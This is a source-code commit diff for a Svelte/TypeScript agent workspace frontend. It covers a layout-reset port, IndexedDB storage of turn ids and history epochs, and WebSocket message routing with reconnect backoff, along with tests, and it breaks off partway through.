summaryrefslogtreecommitdiffhomepage
path: root/src
diff options
context:
space:
mode:
Diffstat (limited to 'src')
-rw-r--r--src/App.svelte21
-rw-r--r--src/adapters/idb/index.test.ts25
-rw-r--r--src/adapters/idb/index.ts31
-rw-r--r--src/adapters/ws/index.test.ts137
-rw-r--r--src/adapters/ws/index.ts81
-rw-r--r--src/adapters/ws/logic.test.ts240
-rw-r--r--src/adapters/ws/logic.ts148
-rw-r--r--src/app.css256
-rw-r--r--src/app/App.svelte1041
-rw-r--r--src/app/App.test.ts345
-rw-r--r--src/app/chat-registry.svelte.ts297
-rw-r--r--src/app/conversation-settings.svelte.ts440
-rw-r--r--src/app/history-sync.ts38
-rw-r--r--src/app/http-actions.ts638
-rw-r--r--src/app/open-conversations.svelte.ts288
-rw-r--r--src/app/plugin-host.svelte.ts151
-rw-r--r--src/app/register-views.ts81
-rw-r--r--src/app/resolve-http-url.test.ts8
-rw-r--r--src/app/resolve-ws-url.test.ts8
-rw-r--r--src/app/settings-refreshers.svelte.ts257
-rw-r--r--src/app/store-types.ts614
-rw-r--r--src/app/store.svelte.ts2274
-rw-r--r--src/app/store.test.ts1193
-rw-r--r--src/app/subscription-budget.test.ts20
-rw-r--r--src/app/subscription-budget.ts15
-rw-r--r--src/app/surface-protocol.svelte.ts146
-rw-r--r--src/app/surface-protocol.test.ts96
-rw-r--r--src/app/view-ports.ts54
-rw-r--r--src/app/views/AccountUsagePane.svelte22
-rw-r--r--src/app/views/CacheWarmingPane.svelte37
-rw-r--r--src/app/views/ChatPane.svelte117
-rw-r--r--src/app/views/CompactionPane.svelte48
-rw-r--r--src/app/views/ComposerPane.svelte43
-rw-r--r--src/app/views/ConcurrencyPane.svelte39
-rw-r--r--src/app/views/ExtensionsPane.svelte82
-rw-r--r--src/app/views/HeartbeatPane.svelte56
-rw-r--r--src/app/views/LspPane.svelte24
-rw-r--r--src/app/views/McpPane.svelte24
-rw-r--r--src/app/views/MessageQueuePane.svelte40
-rw-r--r--src/app/views/ModelPane.svelte131
-rw-r--r--src/app/views/NamedAgentsPane.svelte25
-rw-r--r--src/app/views/SettingsPane.svelte39
-rw-r--r--src/app/views/SystemPromptPane.svelte21
-rw-r--r--src/app/views/TabsPane.svelte25
-rw-r--r--src/app/views/TasksPane.svelte29
-rw-r--r--src/app/views/VisionPane.svelte45
-rw-r--r--src/app/ws-handlers.ts216
-rw-r--r--src/core/chunks/groups.test.ts193
-rw-r--r--src/core/chunks/groups.ts122
-rw-r--r--src/core/chunks/index.ts4
-rw-r--r--src/core/chunks/local-echo.test.ts45
-rw-r--r--src/core/chunks/reconcile.test.ts143
-rw-r--r--src/core/chunks/reconcile.ts54
-rw-r--r--src/core/chunks/reducer.test.ts201
-rw-r--r--src/core/chunks/reducer.ts315
-rw-r--r--src/core/chunks/selectors.test.ts373
-rw-r--r--src/core/chunks/selectors.ts276
-rw-r--r--src/core/chunks/trim.test.ts34
-rw-r--r--src/core/chunks/trim.ts32
-rw-r--r--src/core/chunks/types.ts25
-rw-r--r--src/core/metrics/cache-timer.test.ts359
-rw-r--r--src/core/metrics/cache-timer.ts286
-rw-r--r--src/core/metrics/format.test.ts92
-rw-r--r--src/core/metrics/format.ts85
-rw-r--r--src/core/metrics/index.ts15
-rw-r--r--src/core/metrics/place.test.ts143
-rw-r--r--src/core/metrics/place.ts460
-rw-r--r--src/core/metrics/placement-scenarios.test.ts376
-rw-r--r--src/core/metrics/types.ts14
-rw-r--r--src/core/plugin-abi/driver.test.ts210
-rw-r--r--src/core/plugin-abi/driver.ts140
-rw-r--r--src/core/plugin-abi/index.ts27
-rw-r--r--src/core/plugin-abi/load-diff.test.ts183
-rw-r--r--src/core/plugin-abi/load-diff.ts137
-rw-r--r--src/core/plugin-abi/types.ts113
-rw-r--r--src/core/plugin-abi/version.test.ts65
-rw-r--r--src/core/plugin-abi/version.ts99
-rw-r--r--src/core/wire/conformance.test.ts65
-rw-r--r--src/core/wire/conformance.ts24
-rw-r--r--src/features/account-usage/index.ts41
-rw-r--r--src/features/account-usage/logic/types.ts48
-rw-r--r--src/features/account-usage/logic/view-model.test.ts277
-rw-r--r--src/features/account-usage/logic/view-model.ts403
-rw-r--r--src/features/account-usage/ui/AccountUsageView.svelte155
-rw-r--r--src/features/account-usage/ui/AccountUsageView.test.ts184
-rw-r--r--src/features/account-usage/ui/DailyCreditsSettings.svelte126
-rw-r--r--src/features/account-usage/ui/UsageBar.svelte49
-rw-r--r--src/features/chat/adapter/image-encode.test.ts20
-rw-r--r--src/features/chat/adapter/image-encode.ts67
-rw-r--r--src/features/chat/adapter/pending-inputs.ts49
-rw-r--r--src/features/chat/delivery.test.ts146
-rw-r--r--src/features/chat/index.ts32
-rw-r--r--src/features/chat/logic/composer.test.ts20
-rw-r--r--src/features/chat/logic/composer.ts11
-rw-r--r--src/features/chat/logic/image-compress.test.ts76
-rw-r--r--src/features/chat/logic/image-compress.ts77
-rw-r--r--src/features/chat/logic/tool-summary.test.ts456
-rw-r--r--src/features/chat/logic/tool-summary.ts460
-rw-r--r--src/features/chat/model-select.test.ts126
-rw-r--r--src/features/chat/model-select.ts147
-rw-r--r--src/features/chat/pending-inputs.ts12
-rw-r--r--src/features/chat/ports.ts11
-rw-r--r--src/features/chat/queued.test.ts207
-rw-r--r--src/features/chat/reasoning-effort.test.ts39
-rw-r--r--src/features/chat/reasoning-effort.ts98
-rw-r--r--src/features/chat/recovery.test.ts529
-rw-r--r--src/features/chat/store.svelte.ts577
-rw-r--r--src/features/chat/store.test.ts635
-rw-r--r--src/features/chat/test-helpers.ts39
-rw-r--r--src/features/chat/ui.test.ts818
-rw-r--r--src/features/chat/ui/CacheTimerBadge.svelte70
-rw-r--r--src/features/chat/ui/ChatView.svelte277
-rw-r--r--src/features/chat/ui/ChatView.test.ts558
-rw-r--r--src/features/chat/ui/Composer.svelte155
-rw-r--r--src/features/chat/ui/LazyCollapse.svelte46
-rw-r--r--src/features/chat/ui/ModelSelector.svelte214
-rw-r--r--src/features/chat/ui/PendingInputWarning.svelte47
-rw-r--r--src/features/chat/ui/PendingInputs.svelte16
-rw-r--r--src/features/chat/ui/PendingInputs.test.ts217
-rw-r--r--src/features/chat/ui/ReasoningEffortSelector.svelte43
-rw-r--r--src/features/chat/ui/ToolCard.svelte274
-rw-r--r--src/features/chat/ui/tool-icons.ts52
-rw-r--r--src/features/concurrency/logic/view-model.test.ts28
-rw-r--r--src/features/concurrency/logic/view-model.ts12
-rw-r--r--src/features/concurrency/ui/ConcurrencyLimitRow.svelte5
-rw-r--r--src/features/concurrency/ui/ConcurrencyView.svelte3
-rw-r--r--src/features/concurrency/ui/ConcurrencyView.test.ts4
-rw-r--r--src/features/conversation-cache/cache.test.ts54
-rw-r--r--src/features/conversation-cache/cache.ts78
-rw-r--r--src/features/conversation-cache/logic.test.ts23
-rw-r--r--src/features/conversation-cache/logic.ts22
-rw-r--r--src/features/conversation-cache/types.ts4
-rw-r--r--src/features/heartbeat/logic/types.ts10
-rw-r--r--src/features/heartbeat/logic/view-model.test.ts57
-rw-r--r--src/features/heartbeat/logic/view-model.ts9
-rw-r--r--src/features/heartbeat/ui/HeartbeatView.svelte46
-rw-r--r--src/features/heartbeat/ui/HeartbeatView.test.ts203
-rw-r--r--src/features/heartbeat/ui/PromptEditor.test.ts1
-rw-r--r--src/features/heartbeat/ui/RunModal.svelte1
-rw-r--r--src/features/layout/adapter/abi-port.test.ts97
-rw-r--r--src/features/layout/adapter/abi-port.ts60
-rw-r--r--src/features/layout/adapter/http.test.ts182
-rw-r--r--src/features/layout/adapter/http.ts175
-rw-r--r--src/features/layout/index.ts51
-rw-r--r--src/features/layout/logic/collapse.test.ts120
-rw-r--r--src/features/layout/logic/collapse.ts95
-rw-r--r--src/features/layout/logic/marker.test.ts29
-rw-r--r--src/features/layout/logic/marker.ts46
-rw-r--r--src/features/layout/logic/migration.test.ts68
-rw-r--r--src/features/layout/logic/migration.ts76
-rw-r--r--src/features/layout/logic/panel-keys.test.ts73
-rw-r--r--src/features/layout/logic/panel-keys.ts118
-rw-r--r--src/features/layout/logic/panels-edit.test.ts29
-rw-r--r--src/features/layout/logic/panels-edit.ts33
-rw-r--r--src/features/layout/logic/registry.test.ts148
-rw-r--r--src/features/layout/logic/registry.ts139
-rw-r--r--src/features/layout/logic/seed.test.ts99
-rw-r--r--src/features/layout/logic/seed.ts78
-rw-r--r--src/features/layout/logic/tree-query.ts60
-rw-r--r--src/features/layout/store.svelte.ts316
-rw-r--r--src/features/layout/store.test.ts529
-rw-r--r--src/features/layout/ui/FallbackTile.svelte13
-rw-r--r--src/features/layout/ui/TileLeaf.svelte44
-rw-r--r--src/features/layout/ui/TileNode.svelte37
-rw-r--r--src/features/layout/ui/TilePanels.svelte185
-rw-r--r--src/features/layout/ui/TileRoot.svelte39
-rw-r--r--src/features/layout/ui/TileRoot.test.ts394
-rw-r--r--src/features/layout/ui/TileSplit.svelte130
-rw-r--r--src/features/layout/ui/TileStack.svelte42
-rw-r--r--src/features/layout/ui/fixtures/FixtureA.svelte6
-rw-r--r--src/features/layout/ui/fixtures/FixtureB.svelte6
-rw-r--r--src/features/layout/ui/fixtures/FixtureC.svelte6
-rw-r--r--src/features/layout/ui/panel-motion.ts83
-rw-r--r--src/features/markdown/adapter/text-file.test.ts168
-rw-r--r--src/features/markdown/adapter/text-file.ts171
-rw-r--r--src/features/markdown/index.ts3
-rw-r--r--src/features/markdown/logic/markdown.test.ts316
-rw-r--r--src/features/markdown/logic/markdown.ts345
-rw-r--r--src/features/markdown/logic/streaming-markdown.test.ts325
-rw-r--r--src/features/markdown/logic/streaming-markdown.ts521
-rw-r--r--src/features/markdown/logic/text-file.test.ts117
-rw-r--r--src/features/markdown/logic/text-file.ts116
-rw-r--r--src/features/markdown/types.ts13
-rw-r--r--src/features/markdown/ui/Markdown.svelte69
-rw-r--r--src/features/markdown/ui/MarkdownContent.svelte116
-rw-r--r--src/features/markdown/ui/TextFileEmbed.svelte113
-rw-r--r--src/features/markdown/ui/markdown.test.ts151
-rw-r--r--src/features/markdown/ui/text-file.test.ts190
-rw-r--r--src/features/named-agents/index.ts64
-rw-r--r--src/features/named-agents/logic/auto-save.test.ts157
-rw-r--r--src/features/named-agents/logic/auto-save.ts138
-rw-r--r--src/features/named-agents/logic/normalize.test.ts78
-rw-r--r--src/features/named-agents/logic/normalize.ts68
-rw-r--r--src/features/named-agents/logic/options.test.ts72
-rw-r--r--src/features/named-agents/logic/options.ts84
-rw-r--r--src/features/named-agents/logic/snapshot.test.ts35
-rw-r--r--src/features/named-agents/logic/snapshot.ts33
-rw-r--r--src/features/named-agents/logic/types.ts57
-rw-r--r--src/features/named-agents/logic/validate.test.ts58
-rw-r--r--src/features/named-agents/logic/validate.ts47
-rw-r--r--src/features/named-agents/ui/NamedAgentCard.svelte120
-rw-r--r--src/features/named-agents/ui/NamedAgentsView.svelte126
-rw-r--r--src/features/named-agents/ui/NamedAgentsView.test.ts181
-rw-r--r--src/features/named-agents/ui/controller.svelte.ts257
-rw-r--r--src/features/named-agents/ui/controller.test.ts237
-rw-r--r--src/features/plugins/adapter/http.test.ts177
-rw-r--r--src/features/plugins/adapter/http.ts230
-rw-r--r--src/features/plugins/index.ts24
-rw-r--r--src/features/plugins/logic/cascade.test.ts66
-rw-r--r--src/features/plugins/logic/cascade.ts42
-rw-r--r--src/features/plugins/logic/highlight.test.ts60
-rw-r--r--src/features/plugins/logic/highlight.ts37
-rw-r--r--src/features/plugins/logic/last-provider.test.ts70
-rw-r--r--src/features/plugins/logic/last-provider.ts31
-rw-r--r--src/features/plugins/logic/prereqs.test.ts58
-rw-r--r--src/features/plugins/logic/prereqs.ts45
-rw-r--r--src/features/plugins/logic/test-fixtures.ts30
-rw-r--r--src/features/plugins/logic/types.ts99
-rw-r--r--src/features/plugins/logic/view-model.test.ts296
-rw-r--r--src/features/plugins/logic/view-model.ts160
-rw-r--r--src/features/plugins/logic/workspace-row.test.ts67
-rw-r--r--src/features/plugins/logic/workspace-row.ts54
-rw-r--r--src/features/plugins/store.svelte.ts218
-rw-r--r--src/features/plugins/store.test.ts183
-rw-r--r--src/features/plugins/ui/PluginManager.svelte221
-rw-r--r--src/features/plugins/ui/PluginManager.test.ts284
-rw-r--r--src/features/plugins/ui/PluginRow.svelte120
-rw-r--r--src/features/plugins/ui/PluginTable.svelte85
-rw-r--r--src/features/plugins/ui/ResetLayoutConfirm.svelte30
-rw-r--r--src/features/plugins/ui/UnloadConfirmModal.svelte40
-rw-r--r--src/features/plugins/ui/WorkspacePluginModal.svelte171
-rw-r--r--src/features/plugins/ui/WorkspacePluginModal.test.ts258
-rw-r--r--src/features/search-settings/index.ts22
-rw-r--r--src/features/search-settings/logic/view-model.test.ts108
-rw-r--r--src/features/search-settings/logic/view-model.ts124
-rw-r--r--src/features/search-settings/ui/SearchBackendField.svelte142
-rw-r--r--src/features/search-settings/ui/SearchBackendField.test.ts119
-rw-r--r--src/features/surface-host/index.ts1
-rw-r--r--src/features/surface-host/logic/message-queue.test.ts94
-rw-r--r--src/features/surface-host/logic/message-queue.ts71
-rw-r--r--src/features/surface-host/ui/MessageQueueList.svelte87
-rw-r--r--src/features/surface-host/ui/MessageQueueList.test.ts135
-rw-r--r--src/features/surface-host/ui/SurfaceView.svelte19
-rw-r--r--src/features/tabs/index.ts15
-rw-r--r--src/features/tabs/tab-flip.test.ts52
-rw-r--r--src/features/tabs/tab-flip.ts45
-rw-r--r--src/features/tabs/tab-groups.test.ts219
-rw-r--r--src/features/tabs/tab-groups.ts211
-rw-r--r--src/features/tabs/tabs-store.svelte.ts21
-rw-r--r--src/features/tabs/tabs.test.ts29
-rw-r--r--src/features/tabs/tabs.ts78
-rw-r--r--src/features/tabs/ui.test.ts547
-rw-r--r--src/features/tabs/ui/CloseSubagentsConfirm.svelte83
-rw-r--r--src/features/tabs/ui/TabCard.svelte234
-rw-r--r--src/features/tabs/ui/TabGroupBox.svelte90
-rw-r--r--src/features/tabs/ui/TabList.svelte375
-rw-r--r--src/features/tabs/ui/TabMenu.svelte145
-rw-r--r--src/features/tabs/ui/tab-flip.ts374
-rw-r--r--src/features/workspaces/adapter/http.test.ts93
-rw-r--r--src/features/workspaces/adapter/http.ts66
-rw-r--r--src/features/workspaces/adapter/tile-layout-http.ts117
-rw-r--r--src/features/workspaces/index.ts41
-rw-r--r--src/features/workspaces/logic/create.test.ts50
-rw-r--r--src/features/workspaces/logic/create.ts64
-rw-r--r--src/features/workspaces/logic/drag-controller.test.ts180
-rw-r--r--src/features/workspaces/logic/drag-controller.ts162
-rw-r--r--src/features/workspaces/logic/tile-layout.test.ts857
-rw-r--r--src/features/workspaces/logic/tile-layout.ts709
-rw-r--r--src/features/workspaces/logic/view-model.test.ts98
-rw-r--r--src/features/workspaces/logic/view-model.ts58
-rw-r--r--src/features/workspaces/store.svelte.ts66
-rw-r--r--src/features/workspaces/store.test.ts166
-rw-r--r--src/features/workspaces/tile-layout-store.svelte.ts308
-rw-r--r--src/features/workspaces/tile-layout-store.test.ts449
-rw-r--r--src/features/workspaces/ui/ArchivedWorkspaces.svelte119
-rw-r--r--src/features/workspaces/ui/HomeHeader.svelte198
-rw-r--r--src/features/workspaces/ui/HomeHeader.test.ts94
-rw-r--r--src/features/workspaces/ui/HomeTileGrid.svelte568
-rw-r--r--src/features/workspaces/ui/HomeTileGrid.test.ts200
-rw-r--r--src/features/workspaces/ui/ResizePicker.svelte107
-rw-r--r--src/features/workspaces/ui/ResizePicker.test.ts88
-rw-r--r--src/features/workspaces/ui/TileActionBar.svelte73
-rw-r--r--src/features/workspaces/ui/TileActionBar.test.ts93
-rw-r--r--src/features/workspaces/ui/WorkspaceCard.svelte279
-rw-r--r--src/features/workspaces/ui/WorkspaceCard.test.ts305
-rw-r--r--src/features/workspaces/ui/WorkspaceDetails.svelte132
-rw-r--r--src/features/workspaces/ui/WorkspaceDetails.test.ts115
-rw-r--r--src/features/workspaces/ui/WorkspaceTile.svelte146
-rw-r--r--src/features/workspaces/ui/WorkspaceTile.test.ts171
-rw-r--r--src/features/workspaces/ui/WorkspacesHome.svelte399
-rw-r--r--src/features/workspaces/ui/WorkspacesHome.test.ts333
-rw-r--r--src/plugin-runtime/svelte-api.ts6
-rw-r--r--src/plugin-runtime/svelte-internal-client.ts12
293 files changed, 40235 insertions, 4615 deletions
diff --git a/src/App.svelte b/src/App.svelte
index 27c9271..32eaf70 100644
--- a/src/App.svelte
+++ b/src/App.svelte
@@ -1,6 +1,7 @@
<script lang="ts">
import { App, createAppStore } from "./app";
import { createHistoryAdapter } from "./adapters/history";
+ import type { WorkspaceLayoutPort } from "./features/plugins";
import {
createWorkspaceHttp,
createWorkspaceStore,
@@ -65,6 +66,23 @@
function navigate(path: string): void {
history.navigate(path);
}
+
+ // plan 04 §4.4: the workspace plugins modal's "Reset layout to default"
+ // affordance. The port gates on an ACTIVE layout provider (read through the
+ // store's reactive getters, so enable/disable mid-session flips the button)
+ // and resets via the layout store (`DELETE /workspaces/:id/layout` → the
+ // server re-seeds → the WS broadcast re-renders every client).
+ const layoutPort: WorkspaceLayoutPort = {
+ get providerActive() {
+ return store.layout.providerState === "present";
+ },
+ reset: (workspaceId) => store.layout.resetToDefault(workspaceId),
+ // The plugins modal's per-workspace toggles can change WHICH layout
+ // plugin serves the workspace (the per-workspace activation rule) — the
+ // store re-probes only the active workspace (non-active toggles are
+ // picked up by their own probe on switch).
+ refresh: (workspaceId) => store.layout.onWorkspacePluginsChanged(workspaceId),
+ };
</script>
{#if route.kind === "home"}
@@ -73,6 +91,9 @@
onNavigate={navigate}
computers={store.computers}
hasActive={(id) => store.workspaceHasActiveConversations(id)}
+ plugins={store.plugins}
+ layout={layoutPort}
+ tiles={store.tileLayout}
/>
{:else}
<App {store} onNavigate={navigate} />
diff --git a/src/adapters/idb/index.test.ts b/src/adapters/idb/index.test.ts
index c05c605..aa56f15 100644
--- a/src/adapters/idb/index.test.ts
+++ b/src/adapters/idb/index.test.ts
@@ -30,6 +30,16 @@ describe("createIdbChunkStore", () => {
expect(loaded[0]?.chunk).toEqual(textChunk("a"));
});
+ it("round-trips a chunk's turnId (and upserts it onto an older row)", async () => {
+ const store = createIdbChunkStore({ indexedDB: new IDBFactory() });
+ await store.append("conv1", [makeChunk(1, "a"), makeChunk(2, "b")]);
+ expect((await store.load("conv1")).map((c) => c.turnId)).toEqual([undefined, undefined]);
+ await store.append("conv1", [{ ...makeChunk(1, "a"), turnId: "t1" }]);
+ const loaded = await store.load("conv1");
+ expect(loaded.map((c) => c.turnId)).toEqual(["t1", undefined]);
+ expect("turnId" in (loaded[1] ?? {})).toBe(false);
+ });
+
it("append out-of-order still loads seq-ordered", async () => {
const store = createIdbChunkStore({ indexedDB: new IDBFactory() });
const chunks = [makeChunk(3, "c"), makeChunk(1, "a"), makeChunk(2, "b")];
@@ -118,3 +128,18 @@ describe("createIdbChunkStore", () => {
expect(loaded2[0]?.chunk).toEqual(textChunk("b1"));
});
});
+
+it("persists epoch across adapter recreation and append, including empty histories", async () => {
+ const indexedDB = new IDBFactory();
+ const store = createIdbChunkStore({ indexedDB });
+ await store.append("c", [makeChunk(1, "legacy")]);
+ expect(await store.historyEpoch("c")).toBeUndefined();
+ await store.reset("c", 2);
+ const reopened = createIdbChunkStore({ indexedDB });
+ expect(await reopened.load("c")).toEqual([]);
+ expect(await reopened.historyEpoch("c")).toBe(2);
+ await reopened.append("c", [makeChunk(101, "new")]);
+ expect(await reopened.historyEpoch("c")).toBe(2);
+ await reopened.delete("c");
+ expect(await reopened.historyEpoch("c")).toBeUndefined();
+});
diff --git a/src/adapters/idb/index.ts b/src/adapters/idb/index.ts
index 96b2cbc..8b1848a 100644
--- a/src/adapters/idb/index.ts
+++ b/src/adapters/idb/index.ts
@@ -14,11 +14,13 @@ interface ChunkRecord {
seq: number;
role: StoredChunk["role"];
chunk: StoredChunk["chunk"];
+ turnId?: string;
}
interface MetaRecord {
conversationId: string;
lastAccess: number;
+ historyEpoch?: number;
}
export interface CreateIdbChunkStoreOptions {
@@ -70,7 +72,11 @@ function keyRangeFor(conversationId: string): IDBKeyRange {
}
function chunksToStoredChunks(records: ChunkRecord[]): StoredChunk[] {
- return records.map((r) => ({ seq: r.seq, role: r.role, chunk: r.chunk }));
+ return records.map((r) =>
+ typeof r.turnId === "string"
+ ? { seq: r.seq, role: r.role, chunk: r.chunk, turnId: r.turnId }
+ : { seq: r.seq, role: r.role, chunk: r.chunk },
+ );
}
export function createIdbChunkStore(opts?: CreateIdbChunkStoreOptions): ConversationChunkStore {
@@ -87,6 +93,26 @@ export function createIdbChunkStore(opts?: CreateIdbChunkStoreOptions): Conversa
}
return {
+ async historyEpoch(conversationId) {
+ const db = await getDb();
+ const tx = db.transaction(META_STORE, "readonly");
+ const meta = await requestToPromise<MetaRecord | undefined>(
+ tx.objectStore(META_STORE).get(conversationId),
+ );
+ await txComplete(tx);
+ return meta?.historyEpoch;
+ },
+ async reset(conversationId, historyEpoch) {
+ const db = await getDb();
+ const tx = db.transaction([CHUNKS_STORE, META_STORE], "readwrite");
+ tx.objectStore(CHUNKS_STORE).delete(keyRangeFor(conversationId));
+ tx.objectStore(META_STORE).put({
+ conversationId,
+ historyEpoch,
+ lastAccess: Date.now(),
+ } satisfies MetaRecord);
+ await txComplete(tx);
+ },
async load(conversationId: string): Promise<readonly StoredChunk[]> {
const db = await getDb();
const tx = db.transaction(CHUNKS_STORE, "readonly");
@@ -113,10 +139,13 @@ export function createIdbChunkStore(opts?: CreateIdbChunkStoreOptions): Conversa
seq: c.seq,
role: c.role,
chunk: c.chunk,
+ ...(c.turnId !== undefined ? { turnId: c.turnId } : {}),
} satisfies ChunkRecord);
}
+ const meta = await requestToPromise<MetaRecord | undefined>(metaStore.get(conversationId));
metaStore.put({
+ ...meta,
conversationId,
lastAccess: Date.now(),
} satisfies MetaRecord);
diff --git a/src/adapters/ws/index.test.ts b/src/adapters/ws/index.test.ts
index 9d821e2..e4e4ba4 100644
--- a/src/adapters/ws/index.test.ts
+++ b/src/adapters/ws/index.test.ts
@@ -6,7 +6,7 @@ interface FakeSocket extends WebSocketLike {
sent: string[];
resolveOpen(): void;
invokeMessage(data: string): void;
- invokeClose(): void;
+ invokeClose(code?: number): void;
}
function fakeSocket(): FakeSocket {
@@ -44,8 +44,8 @@ function fakeSocket(): FakeSocket {
invokeMessage(data: string) {
onmessage?.({ data });
},
- invokeClose() {
- onclose?.({ code: 1000, reason: "" });
+ invokeClose(code = 1000) {
+ onclose?.({ code, reason: "" });
},
sent,
};
@@ -405,3 +405,134 @@ describe("createSurfaceSocket", () => {
expect(JSON.parse(ws.sent[0] ?? "")).toEqual({ type: "chat.send", message: "queued" });
});
});
+
+describe("reconnect backoff after open", () => {
+ it.each([1013, 1006, 1011])("grows and caps delays across repeated early %s closes", (code) => {
+ vi.useFakeTimers();
+ const random = vi.spyOn(Math, "random").mockReturnValue(0.5);
+ const sockets: FakeSocket[] = [];
+ const handle = createSurfaceSocket({
+ url: "ws://test",
+ onMessage: vi.fn(),
+ socketFactory: () => {
+ const ws = fakeSocket();
+ sockets.push(ws);
+ return ws;
+ },
+ });
+ try {
+ for (const delay of [500, 1000, 2000, 4000, 8000, 16000, 30000, 30000]) {
+ const count = sockets.length;
+ sockets.at(-1)?.resolveOpen();
+ vi.advanceTimersByTime(100);
+ sockets.at(-1)?.invokeClose(code);
+ vi.advanceTimersByTime(delay - 1);
+ expect(sockets).toHaveLength(count);
+ vi.advanceTimersByTime(1);
+ expect(sockets).toHaveLength(count + 1);
+ }
+ } finally {
+ handle.close();
+ random.mockRestore();
+ vi.useRealTimers();
+ }
+ });
+
+ it.each([
+ "healthy",
+ "normal",
+ "going away",
+ ])("resets accumulated backoff after a %s connection", (mode) => {
+ vi.useFakeTimers();
+ const random = vi.spyOn(Math, "random").mockReturnValue(0.5);
+ const sockets: FakeSocket[] = [];
+ const handle = createSurfaceSocket({
+ url: "ws://test",
+ onMessage: vi.fn(),
+ socketFactory: () => {
+ const ws = fakeSocket();
+ sockets.push(ws);
+ return ws;
+ },
+ });
+ try {
+ sockets[0]?.resolveOpen();
+ sockets[0]?.invokeClose(1013);
+ vi.advanceTimersByTime(500);
+ sockets[1]?.resolveOpen();
+ if (mode === "healthy") vi.advanceTimersByTime(30000);
+ sockets[1]?.invokeClose(mode === "normal" ? 1000 : mode === "going away" ? 1001 : 1013);
+ vi.advanceTimersByTime(499);
+ expect(sockets).toHaveLength(2);
+ vi.advanceTimersByTime(1);
+ expect(sockets).toHaveLength(3);
+ handle.close();
+ vi.advanceTimersByTime(60000);
+ expect(sockets).toHaveLength(3);
+ } finally {
+ handle.close();
+ random.mockRestore();
+ vi.useRealTimers();
+ }
+ });
+});
+
+it("routes chat.queued only through the typed chat callback, never surface/error handling", () => {
+ const ws = fakeSocket();
+ const onChat = vi.fn();
+ const onMessage = vi.fn();
+ const handle = createSurfaceSocket({
+ url: "ws://test",
+ socketFactory: () => ws,
+ onChat,
+ onMessage,
+ });
+ const ack = {
+ type: "chat.queued",
+ conversationId: "c1",
+ reason: "compaction",
+ messageId: "q1",
+ requestId: "r1",
+ };
+ ws.invokeMessage(JSON.stringify(ack));
+ expect(onChat).toHaveBeenCalledExactlyOnceWith(ack);
+ expect(onMessage).not.toHaveBeenCalled();
+ handle.close();
+});
+
+it("routes resync notices to chat without reconnect/resend or surface errors", () => {
+ vi.useFakeTimers();
+ const ws = fakeSocket();
+ const onChat = vi.fn();
+ const onMessage = vi.fn();
+ const onReopen = vi.fn();
+ const factory = vi.fn(() => ws);
+ const handle = createSurfaceSocket({
+ url: "ws://test",
+ socketFactory: factory,
+ onChat,
+ onMessage,
+ onReopen,
+ });
+ try {
+ ws.resolveOpen();
+ const notice = {
+ type: "chat.resync-required",
+ conversationId: "c1",
+ turnId: "t1",
+ reason: "replay-limit",
+ };
+ ws.invokeMessage(JSON.stringify(notice));
+ ws.invokeMessage(JSON.stringify(notice));
+ vi.advanceTimersByTime(1000);
+ expect(onChat).toHaveBeenCalledTimes(2);
+ expect(onChat).toHaveBeenCalledWith(notice);
+ expect(onMessage).not.toHaveBeenCalled();
+ expect(onReopen).not.toHaveBeenCalled();
+ expect(factory).toHaveBeenCalledTimes(1);
+ expect(ws.sent).toEqual([]);
+ } finally {
+ handle.close();
+ vi.useRealTimers();
+ }
+});
diff --git a/src/adapters/ws/index.ts b/src/adapters/ws/index.ts
index 1309db0..e1d7d22 100644
--- a/src/adapters/ws/index.ts
+++ b/src/adapters/ws/index.ts
@@ -1,9 +1,17 @@
import type {
+ ChatAcceptedMessage,
ChatDeltaMessage,
ChatErrorMessage,
+ ChatQueuedMessage,
+ ChatResyncRequiredMessage,
+ ChatSubscriptionRejectedMessage,
ConversationCompactedMessage,
ConversationOpenMessage,
ConversationStatusChangedMessage,
+ ConversationTabGroupChangedMessage,
+ ExtensionsChangedMessage,
+ LayoutChangedMessage,
+ TileLayoutChangedMessage,
WsClientMessage,
} from "@dispatch/transport-contract";
import type { SurfaceServerMessage } from "@dispatch/ui-contract";
@@ -20,13 +28,40 @@ export interface WebSocketLike {
export interface SurfaceSocketOptions {
url: string;
onMessage: (msg: SurfaceServerMessage) => void;
- onChat?: (msg: ChatDeltaMessage | ChatErrorMessage) => void;
+ onChat?: (
+ msg:
+ | ChatAcceptedMessage
+ | ChatSubscriptionRejectedMessage
+ | ChatDeltaMessage
+ | ChatErrorMessage
+ | ChatQueuedMessage
+ | ChatResyncRequiredMessage,
+ ) => void;
/** Broadcast when a conversation is "opened" (e.g. CLI `--open` flag). */
onConversationOpen?: (msg: ConversationOpenMessage) => void;
/** Broadcast when a conversation's lifecycle status changes (active/idle/closed). */
onConversationStatusChanged?: (msg: ConversationStatusChangedMessage) => void;
/** Broadcast when a conversation's history has been compacted (reload needed). */
onConversationCompacted?: (msg: ConversationCompactedMessage) => void;
+ /** Broadcast when a conversation's (visual) tab group parent changes. */
+ onConversationTabGroupChanged?: (msg: ConversationTabGroupChangedMessage) => void;
+ /**
+ * Broadcast after every plugin-manager mutation (plan 05 §11): every
+ * connected frontend refetches its extension list (the server re-pushes the
+ * workspace-filtered surface catalog itself).
+ */
+ onExtensionsChanged?: (msg: ExtensionsChangedMessage) => void;
+ /**
+ * Broadcast after every successful layout write (plan 02 §2.5): the FULL
+ * tree for one workspace. The consumer filters by its active workspace.
+ */
+ onLayout?: (msg: LayoutChangedMessage) => void;
+ /**
+ * Broadcast after every successful home tile-layout write: the FULL
+ * document for one device orientation (wide/tall). The consumer filters by
+ * its active geometry mode.
+ */
+ onTileLayout?: (msg: TileLayoutChangedMessage) => void;
onReopen?: () => void;
socketFactory?: (url: string) => WebSocketLike;
}
@@ -44,7 +79,12 @@ export function createSurfaceSocket(opts: SurfaceSocketOptions): SurfaceSocketHa
let disposed = false;
let reconnectAttempt = 0;
let reconnectTimer: ReturnType<typeof setTimeout> | null = null;
+ let healthyTimer: ReturnType<typeof setTimeout> | null = null;
let isOpen = false;
+ function clearHealthyTimer(): void {
+ if (healthyTimer !== null) clearTimeout(healthyTimer);
+ healthyTimer = null;
+ }
const queue: string[] = [];
function connect(isReconnect: boolean): void {
@@ -54,7 +94,12 @@ export function createSurfaceSocket(opts: SurfaceSocketOptions): SurfaceSocketHa
socket.onopen = () => {
if (disposed) return;
isOpen = true;
- reconnectAttempt = 0;
+ // Opening is not proof of recovery: replay may immediately overflow the
+ // server's slow-consumer bound. Only a sustained open resets the streak.
+ healthyTimer = setTimeout(() => {
+ healthyTimer = null;
+ reconnectAttempt = 0;
+ }, 30_000);
for (const raw of queue.splice(0)) {
socket?.send(raw);
}
